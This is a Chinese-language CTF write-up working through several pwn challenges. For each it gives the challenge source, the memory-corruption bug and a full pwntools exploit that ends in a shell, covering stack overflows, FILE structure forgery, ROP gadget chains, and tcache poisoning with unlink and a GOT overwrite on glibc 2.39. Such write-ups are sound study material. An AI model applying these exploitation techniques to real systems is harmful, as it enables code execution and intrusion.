比赛时间和 ACTF2025 基本上冲突了,所以没时间打,赛时只来得及看了两道签到题就遗憾离场,赛后补了所有的用户态题目,剩了几道 v8 暂时摸了((

gambling2

题目给了源码:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

float rand_float() {
  float x = (float)rand() / RAND_MAX;
  printf("%f\n", x);
  return x;
}

void print_money() {
	system("/bin/sh");
}

void gamble() {
	float f[4];
	float target = rand_float();
	printf("Enter your lucky numbers: ");
	scanf(" %lf %lf %lf %lf %lf %lf %lf", f,f+1,f+2,f+3,f+4,f+5,f+6);
	if (f[0] == target || f[1] == target || f[2] == target || f[3] == target || f[4] == target || f[5] == target || f[6] == target) {
		printf("You win!\n");
		// due to economic concerns, we're no longer allowed to give out prizes.
		// print_money();
	} else {
		printf("Aww dang it!\n");
	}
}

int main(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);

	char buf[20];
	srand(420);
	while (1) {
		gamble();
		getc(stdin); // consume newline
		printf("Try again? ");
		fgets(buf, 20, stdin);
		if (strcmp(buf, "no.\n") == 0) {
			break;
		}
	}
}

简单调试一下发现,gamble 函数里生命的 ffloat 四字节类型,且只有 4 个,读入时却读入了 double 类型且读入了 7 个,存在栈溢出,ret2text。

问题在怎么比较方便地将一个十六进制数进行 IEEE754 解码(将这个结果输入给 scanf 在内存里就会得到 backdoor)

这里用的方法有两种:

第一种

#include <stdio.h>

union test {
    double x;
    long long y;
} a;


int main() {
    a.y = 0x80492C000000000;
    printf("%e\n", a.x);
    return 0;
}

在写 poc 的时候,注意 double 是 8 字节类型,所以对应的应该使用 long long,而且由于栈溢出(可以通过调试得出),这里 a.y 应该等于 0x80492C000000000 而非 0x80492C,编译后运行得到输出:

$ ./test
4.867844e-270

方法二

直接在 gdb 中查看存储浮点数部分的栈:

00:0000│-048 0xffdd4730 ◂— 0
... ↓     6 skipped
07:001c│-02c 0xffdd474c —▸ 0x80492c0 (print_money) ◂— sub esp, 0x18  // 这里是溢出点

然后直接查看对应的浮点数:

pwndbg> x/gf 0xffdd4748
0xffdd4748:     4.8678438292920787e-270

exp:

from pwn import *
from sys import argv
import ctypes
proc = "./gambling_patched"
context.log_level = "debug"
context.binary = proc
elf = ELF(proc, checksec=False)
io = remote("", ) if argv[1] == 'r' else process(proc)

if args.G:
    gdb.attach(io, """
    decompiler connect ida --host 127.0.0.1 --port 3662
    b *0x8049336
    """)

# payload = f"0 0 0 0 0 {a} 6.6460445870511132e-316".encode()
payload = b" 1.0 2.0 3.0 4.0 5.0 6.0 4.8678438292920787e-270"
io.sendlineafter(b"Enter your lucky numbers: ", payload)

io.interactive()

aura

题目给了源码:

#include <stdio.h>
#include <unistd.h>

int aura = 0;

int main(int argc, char **argv) {
        setbuf(stdin, NULL);
        setbuf(stdout, NULL);
        setbuf(stderr, NULL);

        printf("my aura: %p\nur aura? ", &aura);

        char flag[17];
        FILE *fp = fopen("/dev/null", "r");

        read(0, fp, 0x100);

        char buf[0x100];
        fread(buf, 1, 8, fp);

        if (aura) {
                FILE *f = fopen("flag.txt", "r");
                fread(flag, 1, 17, f);
                printf("%s\n ", flag);
        }  else {
                printf("u have no aura.\n");
        }

        return 0;
}

相当于可以任意写 FILE 结构,要求是通过这个原语修改 aura > 0

满足下列条件即可:

  • 设置 fp->_flags & (~0x4)(这里最好就是用原来的 _flags)(也就是要设置倒数第二字节为 \x00
  • 设置 _IO_read_end 等于 _IO_read_ptr
  • 设置 _fileno == 0
  • 设置 fp->_IO_buf_base 为写入的起始位置,fp->_IO_buf_end 为写入的终止位置,fp->_IO_buf_end - fp->_IO_buf_base 为读入的长度

exp:

from pwn import *
context.arch = 'amd64'

p = process('./aura_patched')
# p = remote("challs.umdctf.io", 31006)


if args.G:
    gdb.attach(p, """
    breakrva 0x1253
    """)
# pause()
p.recvuntil(b": ")
leak = int(p.recvline()[:-1],16)
fp = FileStructure()

payload = fp.read(leak, 0x10)
p.send(payload)
p.send(b'0' * 16)

p.interactive()

unfinished

神秘 c++ trick 题。

题目给了源码:

#include <cstdio>
#include <cstdlib>

char number[128];

void sigma_mode() {
    system("/bin/sh");
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);

    printf("What size allocation?\n");
    fgets(number, 500, stdin);

    long n = atol(number);
    int *chunk = new int[n];
    // TODO: finish the heap chal
}

可以看到给了个可控任意地址的 newbackdoor,还有 bss 上的溢出,读一下源码。

_GLIBCXX_WEAK_DEFINITION void *
operator new (std::size_t sz) _GLIBCXX_THROW (std::bad_alloc)
{
  void *p;

  /* malloc (0) is unpredictable; avoid it.  */
  if (__builtin_expect (sz == 0, false))
    sz = 1;

  while ((p = malloc (sz)) == 0)
    {
      new_handler handler = std::get_new_handler ();
      if (! handler)
	_GLIBCXX_THROW_OR_ABORT(bad_alloc());
      handler ();
    }

  return p;
}

这里布置了一个函数指针 handler,看一下 get_new_handler()

new_handler
std::get_new_handler () noexcept
{
  new_handler handler;
#if ATOMIC_POINTER_LOCK_FREE > 1
  __atomic_load (&__new_handler, &handler, __ATOMIC_ACQUIRE);
#else
  __gnu_cxx::__scoped_lock l(mx);
  handler = __new_handler;
#endif
  return handler;
}

注意看,这里有一个 handler = __new_handler; 的赋值,右值是一个全局变量….

using std::new_handler;
namespace
{
  new_handler __new_handler;
}

__new_handler

最后一个问题,malloc 什么时候返回值为 0 呢?答案是当分配一个过大的内存时。

exp:

#!/usr/bin/env python3

from pwn import *
from sys import argv

proc = "./unfinished_patched"
context.log_level = "debug"
context.binary = proc
elf = ELF(proc, checksec=False)
libc = ELF("./libc.so.6", checksec=False)
io = remote("", ) if argv[1] == 'r' else process(proc)

if args.G:
    gdb.attach(io, """
    decompiler connect ida --host 127.0.0.1 --port 3662
    b* 0x401a47
    b* 0x4031d0
    """)

system = 0x4019b6
payload = b"10000000000".ljust(128, b"a")
# payload += p64(system) * 50
# payload += cyclic(0x100, n=8)
payload += b"a" * 72
payload += p64(system)
io.sendlineafter(b"What size allocation?", payload)

io.interactive()

prison-relm

神秘 magic gadget 题。

依然给了源码:

#include <signal.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

// 閉門
void gate_close() {
  exit(1);
}

// Will you get stuck in the prison realm?
//
//
// 獄門疆 開門
__attribute__((constructor))
void prison_realm_open() {
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stdin, NULL, _IONBF, 0);
  signal(SIGALRM, gate_close);
  alarm(60);
}

int main() {

  // Geto steps out from behind the activated prison realm...
  char barrier_dimension_realm[30];
  fgets(barrier_dimension_realm, 300, stdin);
}

ida 里可以看到基本上没什么能用的函数,尽管给了几乎无限的栈溢出。

那想法肯定是先看看有没有 magic gadget 能用,搜到下面这条:

0x0000000000400668 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; repz ret

记为 gadget1。

但是没什么用,出题人 patch 了 __libc_csu_init 使得题目中没有可以控制 ebx 的 gadget,怎么办呢.jpg

接下来真的很神秘,出题人用了下面这个 gadget:

0x00000000004005cf : add bl, dh ; ret

记为 gadget2

blrbx 的低 8 位寄存器,dhrdx 的低 8 位寄存器。

调试一下发现 dh 是 0x20,也就是说配合 gadget1 可以做到任意地址 + 0x20…. 有什么用呢.jpg

我们调一下 fgets 的汇编,发现:

0x70330887f4a0 <_IO_fgets+288>:      mov    BYTE PTR [rdi],0x0
0x70330887f4a3 <_IO_fgets+291>:      mov    r14,rdi
0x70330887f4a6 <_IO_fgets+294>:      jmp    0x70330887f44c <_IO_fgets+204>
0x70330887f4a8 <_IO_fgets+296>:      nop    DWORD PTR [rax+rax*1+0x0]
0x70330887f4b0 <_IO_fgets+304>:      call   0x703308891300 <__GI___lll_lock_wake_private>
...
0x70330887f44c <_IO_fgets+204>:      pop    rbx
0x70330887f44d <_IO_fgets+205>:      mov    rax,r14
0x70330887f450 <_IO_fgets+208>:      pop    rbp
0x70330887f451 <_IO_fgets+209>:      pop    r12
0x70330887f453 <_IO_fgets+211>:      pop    r13
0x70330887f455 <_IO_fgets+213>:      pop    r14
0x70330887f457 <_IO_fgets+215>:      ret

。。。这样我们就能控制 rbx 了… 然后就有任意地址写原语了….

小时候做这题吓哭了。。

exp

from pwn import *
from sys import argv

proc = "./prison_patched"
context.log_level = "debug"
context.binary = proc
elf = ELF(proc, checksec=False)
io = remote("", ) if argv[1] == 'r' else process(proc)

if args.G:
    gdb.attach(io, """
    b *0x400718
    b *0x400782
    """)


# 0x0000000000400668 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; repz ret
# 0x00000000004005cf : add bl, dh ; ret
# 0x0000000000400608 : pop rbp ; ret
# 0x0000000000400782 : pop rdi ; xor rbx, rbx ; ret
# 0x0000000000400783 : xor rbx, rbx ; ret


magic = 0x400668
add_bl_dh = 0x4005cf
pop_rbp_ret = 0x400608
xor_rbx = 0x400783
pop_rdi_ret = 0x400782
fgets_got = elf.got['fgets']
fgets_plt = elf.plt['fgets']
offset = 0x6c8a3


payload = b"a" * 0x20 + p64(fgets_got + 0x3d)
payload += flat([add_bl_dh, magic]) * 3 + flat([magic])

payload += flat([pop_rdi_ret, fgets_got - 8, pop_rbp_ret, 1, pop_rdi_ret, 0x6010b8, fgets_plt])
payload += flat([offset, fgets_got + 0x3d, 0, 0, 0, magic, pop_rbp_ret, 0x6011b8, fgets_plt])
io.sendline(payload)


io.interactive()

:P

这题还能打别的 magic gadget 和 ret2dlresolve,后者板子不会打,学一下再来。

onewrite

2.39 菜单堆,逻辑比较清晰,给了 4 个功能:

ssize_t alloc_chunk()
{
  unsigned int v1; // [rsp+8h] [rbp-8h]
  unsigned int size; // [rsp+Ch] [rbp-4h]

  my_print("idx: ");
  v1 = get_int();
  if ( v1 > 0x63 )
    _exit(1);
  my_print("size: ");
  size = get_int();
  if ( size > 0x5FF )
    _exit(1);
  chunks[v1] = malloc(size);
  my_print("done!\n");
  return my_print("...what? did you think you would get a write?\n");
}

void free_chunk()
{
  unsigned int v0; // [rsp+Ch] [rbp-4h]

  my_print("idx: ");
  v0 = get_int();
  if ( v0 > 0x63 )
    _exit(1);
  free((void *)chunks[v0]);
}

ssize_t write_chunk()
{
  my_print("data: ");
  return read(0, the_chunk, 0x5F8uLL);
}

ssize_t read_chunk()
{
  return write(1, the_chunk, 0x5F8uLL);
}

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax

  the_chunk = malloc(0x5F8uLL);
  free(the_chunk);
  while ( 1 )
  {
    while ( 1 )
    {
      v3 = prompt();
      if ( v3 != 4 )
        break;
      read_chunk();
    }
    if ( v3 > 4 )
      break;
    switch ( v3 )
    {
      case 3:
        write_chunk();
        break;
      case 1:
        alloc_chunk();
        break;
      case 2:
        free_chunk();
        break;
      default:
        goto LABEL_12;
    }
  }
LABEL_12:
  _exit(1);
}

题目的洞其实很明显,就是 free_chunk 里的 UAF,所以可以比较方便的泄漏 libc 和 pie,现在问题是题目没有任何 IO 函数,也没有使用 exit,所以没办法打 io 链,只能打栈。

但是打栈肯定得先泄漏 environ,这里就有个问题,write_chunkread_chunk 功能都只能对堆上前 0x5f8 操作。

所以目前只有任意地址申请/释放,但是没有任意地址读写原语。怎么办呢.jpg

在往常做题的观念里,要想泄漏 environ 打栈肯定得先有任意地址读,这个原语一般都是通过任意地址申请然后 show 实现的,但其实我们忽略了 tcachebins 特别神秘的特性,如下。

首先,假设我们 free 三个堆块进入 tcachebins:

tcachebins
0x30 [  3]: 0x63de3bdf16c0 —▸ 0x63de3bdf16f0 —▸ 0x63de3bdf1720 ◂— 0

然后,我们像往常(tcache posiong)一样,修改:

tcachebins
0x30 [  3]: 0x63de3bdf16c0 —▸ 0x7c9da18046e0 (__libc_argv) ◂— 0x7ff96336b65c

最后,我们申请两个 chunk 出来

tcachebins
0x30 [  1]: 0x7ff96336b65c

这说明我们成功的在 tcache pthread struct 上踩出了一个栈地址,但这个暂时不能用,因为我们的读函数不能读 tps。

更重要的是,此时我们再释放一个同大小的 chunkA 进入 tcachebins,就可以在 chunkA 的 fd 处同样踩出一个栈地址,这个栈地址正好是我们可以泄漏的地址。

按照这个方法,我们可以泄漏栈上的 pie 地址。

然后简单利用 unlink 任意地址写原语,将 the_chunk 写成 the_chunk - 0x18,之后打栈或者打 got 表都可以。

exp:

#!/usr/bin/env python3

from pwn import *
from sys import argv

proc = "./one_write_patched"
context.log_level = "info"
context.binary = proc
elf = ELF(proc, checksec=False)
libc = ELF("./libc.so.6", checksec=False)
io = remote("", ) if argv[1] == 'r' else process(proc)

if args.G:
    gdb.attach(io, """
        dir ~/CTFhub/Problems/Pwn/glibc/malloc
        b* _int_free_merge_chunk+144
    """)


def choose(id):
    io.sendlineafter(b"> ", str(id).encode())


def alloc(idx, size):
    choose(1)
    io.sendlineafter(b"idx: ", str(idx).encode())
    io.sendlineafter(b"size: ", str(size).encode())


def free(idx):
    choose(2)
    io.sendlineafter(b"idx: ", str(idx).encode())


def write(content):
    choose(3)
    io.sendafter(b"data: ", content)


def show():
    choose(4)


alloc(0, 0x410)
alloc(1, 0x410)
alloc(50, 0x20)

# leak libc and heap address
free(1)
alloc(2, 0x20)
alloc(3, 0x20)
alloc(4, 0x20)
alloc(5, 0x20)
show()
io.recv(0x420)
libc_addr = u64(io.recv(8)) - 0x203f10
libc.address = libc_addr
log.info(f"libc_addr => {hex(libc_addr)}")
io.recv(8)
heap_addr = u64(io.recv(8))
log.info(f"heap_addr => {hex(heap_addr)}")

# leak __libc_argv to get stack addr
free(4)
free(3)
free(2)
environ = libc_addr + 0x2046e0
target = (environ ^ (heap_addr >> 12))
payload = flat([b"\x00" * 0x410, 0, 0x31,target])
write(payload)
alloc(51, 0x20)
alloc(52, 0x20)
free(1)
show()
io.recv(0x420)
stack_addr = (u64(io.recv(8)) ^ (heap_addr >> 12) ^ (environ >> 12))
log.info(f"stack_addr => {hex(stack_addr)}")

# leak pie base via stack
target = (stack_addr - 0x48) ^ (heap_addr >> 12)
payload = flat([b"\x00" * 0x410, 0, 0x31, target])
write(payload)
alloc(53, 0x20)
alloc(54, 0x20)
free(1)
show()
io.recv(0x420)
pie_addr = (u64(io.recv(8)) ^ (heap_addr >> 12) ^ (stack_addr >> 12)) - 0x10b0
log.info(f"pie_addr => {hex(pie_addr)}")

# write the_chunk by unlink
alloc(55, 0x20)
alloc(56, 0x350)
the_chunk = pie_addr + 0x4080
payload = flat([b"/bin/sh\x00", 0x411, the_chunk - 0x18, the_chunk - 0x10, b"\x00" * 0x3f0, 0x410, 0x420])
write(payload)
free(1)

# hijack free@got to system and get shell
free_got = pie_addr + 0x4000
system = libc.sym['system']
log.info(f"system => {hex(libc.sym['system'])}")
write(flat([b"\x00" * 0x18, free_got]))
write(flat([system]))

free(0)

io.interactive()

offbyone

神秘题目。

给了源码:

#include <stdio.h>
#include <stdlib.h>

#define N 10000
#define BINS 10

int compare (const void *a, const void *b) { return *(float*)a == *(float*)b ? 0 : *(float*)a > *(float*)b ? 1 : -1; }

void vuln() {
	float data[N];
	short counts[BINS] = {0};
	printf("Enter %d floats: ", N);
	for (int i = 0; i < N; i++) {
		if (scanf("%f", &data[i]) < 1) {
			puts("not enough data");
			exit(-1);
		}
	}
	qsort(data, N, sizeof(float), compare);
	float min = data[0], max = data[N-1];
	for (int i = 0; i < N; i++) {
		int bin = BINS * (data[i] - min) / (max - min);
		counts[bin]++;
	}
	puts("Histogram below:");
	for (int i = 0; i < BINS; i++) {
		printf("%d ", i);
		for (short j = 0; j < counts[i]; j++) putchar('#');
		putchar('\n');
	}
}

int main() {
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);
	vuln();
}

洞是在 qsort 这里,自定义的 compare 函数并没有满足严格弱序,也就是对于浮点数来说,任何数都无法与 nan 比大小,但这个 compare 函数没有处理 nan,所以可以导致 max 不是 max 的情况。

通过这种构造,可以让 bin 大于 10 产生数组溢出,从而修改返回地址。

但是浮点数实在太神秘了,我调了很久也不是很调得明白,毁了。

finished

神秘 cpp,要伪造一大堆结构,后面看。

literally-1984

v8 不会

literally-1985

v8 不会….

呜呜呜 什么时候才能学会 v8